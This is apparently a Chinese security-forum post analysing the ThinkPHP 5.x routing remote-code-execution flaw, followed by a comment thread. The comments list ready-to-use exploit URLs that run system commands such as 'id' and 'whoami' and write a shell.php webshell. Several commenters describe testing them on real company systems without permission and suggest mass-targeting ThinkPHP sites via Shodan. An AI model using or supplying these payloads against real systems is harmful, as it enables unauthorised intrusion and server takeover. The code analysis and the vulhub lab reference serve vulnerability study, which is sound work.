ThinPHP5.1 代码执行漏洞简单分析
ThinPHP5.1 代码执行漏洞
0x1 漏洞分析
补丁文件所在位置:/thinkphp/library/think/route/dispatch/Url.php 56-66行
if ($this->param['auto_search']) {
$controller = $this->autoFindController($module, $path);
} else {
// 解析控制器
$controller = !empty($path) ? array_shift($path) : null;
}
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { patch fix vuls
throw new HttpException(404, 'controller not exists:' . $controller);
}
// 解析操作
具体操作文件:/thinkphp/library/think/route/dispatch/Module.php
<?php
parent::init();
$result = $this->dispatch;
/*
$result完整被请求的url
thinkphp正常支持
index.php/index/index/index
index.php?s=index/index/index
俩种模式的路由
$result="index/index/index"
*/
if (is_string($result)) {
$result = explode('/', $result);
}
if ($this->rule->getConfig('app_multi_module')) {
// 多模块部署
$module = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
$bind = $this->rule->getRouter()->getBind();
$available = false;
if ($bind && preg_match('/^[a-z]/is', $bind)) {
// 绑定模块
list($bindModule) = explode('/', $bind);
if (empty($result[0])) {
$module = $bindModule;
}
$available = true;
} elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
$available = true;
} elseif ($this->rule->getConfig('empty_module')) {
$module = $this->rule->getConfig('empty_module');
$available = true;
}
// 模块初始化
// echo $this->app->getAppPath() . $module."<br>";
// var_dump(is_dir($this->app->getAppPath() . $module));
//echo $module,$available;die();
if ($module && $available) {
// 初始化模块
//echo 123123;
$this->request->setModule($module);
$this->app->init($module);
} else {
throw new HttpException(404, 'module not exists:' . $module);
}
}
// 是否自动转换控制器和操作名
var_dump($result);
$convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert');
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller')); //分割了/之后取第二个参数
$this->controller = $convert ? strtolower($controller) : $controller;
// 获取操作名
$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action')); //分割了/之后取第三个参数
echo 'init:'.$this->controller."<br>";
// 设置当前请求的控制器、操作
$this->request
->setController(Loader::parseName($this->controller, 1))
->setAction($this->actionName);
return $this;
}
public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init');
try {
// 实例化控制器
echo 'exec:'.$this->controller."<br>";
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
...
//echo 123;die();
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
...
在看 $this->app->controller函数原型 /thinkphp/library/think/App.php
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
echo $name, $layer, $appendSuffix."<br>";
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); //重点调用了parseModuleAndClass
var_dump(class_exists($class));
echo 'class:'.$class."<br>";
if (class_exists($class)) {
echo 'class_exists<br>';
return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return $this->__get($emptyClass);
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
protected function parseModuleAndClass($name, $layer, $appendSuffix)
{ echo 'parseModuleAndClass:'.$name."<br>";
if (false !== strpos($name, '\\')) { //如果name种包含\则赋值给class
$class = $name;
$module = $this->request->module();
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = $this->request->module();
}
$class = $this->parseClass($module, $layer, $name, $appendSuffix);
}
return [$module, $class];
}
0x2 漏洞利用
看到这里基本就能理解了 如果我访问
http://127.0.0.1:8023/index.php?s=index/think\Loader/esss&a=1asdasd
就可以调用think\Loader 这个namespace下面的esss函数,为了方便测试,我在loader中加了一个esss函数,截图如下
下面只要找到一个点能代码执行即可 刚准备找点exploit就出来了?你们是魔鬼吗?
评论80次
1、?s=index/\think\Request/input&filter=phpinfo&data=12、?s=index/\think\Request/input&filter=system&data=id3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=16、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=18、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
本地复现使用版本号为 thinkphp5.0.15php5.6n apache2.0url:http://127.0.0.1/ThinkPHP/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami[img][/img]
5.1的不多见我看市面上很多还是3.2的多啊,这个真是及时雨、
全是干货,我收藏了哈,刚刚遇到THINKPHP 土司就爆出来了,爽哈
早上看到长亭公众号推送就来土司了,刚好找到个案例,另外分享个小技巧给各位批量的大佬,shodan直接搜索thinkphp的图标,全是thinkphp的站咯,剩下的自由发挥 哈哈
牛逼牛逼
无法加载模块Index
有没有遇到过能执行phpinfo 但是调用system执行xi统命令的时候提示因安全原因而被禁用的情况
2楼的就是5.0.15的可以吧?
晕了,5.0.0的不行,显示无该方法
2楼的就是5.0.15的可以吧?
1、?s=index/\think\Request/input&filter=phpinfo&data=12、?s=index/\think\Request/input&filter=system&data=id3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars=phpinfo&vars[]=16、?s=index/\think\app/invokefunction&function=call_user_func_array&vars=system&vars[]=id7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars=phpinfo&vars[]=18、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars=system&vars[]=id
全是干货,我收藏了哈,刚刚遇到THINKPHP 土司就爆出来了,爽哈
5.0.13 执行无回显
5.0的是不行的,应该需要其他调用
5.1.4测试不行 5.0xi列没有问题
有没有大佬讨论下开启了安全模式的怎么拿到shell
5.0.13 执行无回显
为啥我测试phpinfo, 可以 执行这个就错误呢?
吐司有你更精彩,真的好喜欢吐司的分享精神,先顶一个再找一个测试
感谢19楼大佬的Payload。。。。 叫我同学发了他们公司一个真实环境测试,1,2,7,8这几个payload全部成功。。。 卧槽,,我同学的外包公司后台框架全部是V5.1.10这个版本。。基本全部GG....
parseModuleAndClass 其意义直接解析路由中反斜杠后的路径为class 导致任意调用 官方只是正则了入口的路径 认为是控制器过滤不严 总感觉可能还是会有问题 or写成后门?
docker run -d -p 8181:80 virink/tpgetshell
p牛的环境已经搭建好,可以去测试 https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
5.1和5.0 文件不一样
5.1的版本在哪里看的啊, 我在官网看到的都是5.0.x 版本啊 ,5.0.15测试成功
github上应该有吧,去看看记录
5.0.12测试失败……
刚找一个真实案例,热乎~
这个影响版本是 5.0 到5.1 嘛 为啥都是复现的 5.0.15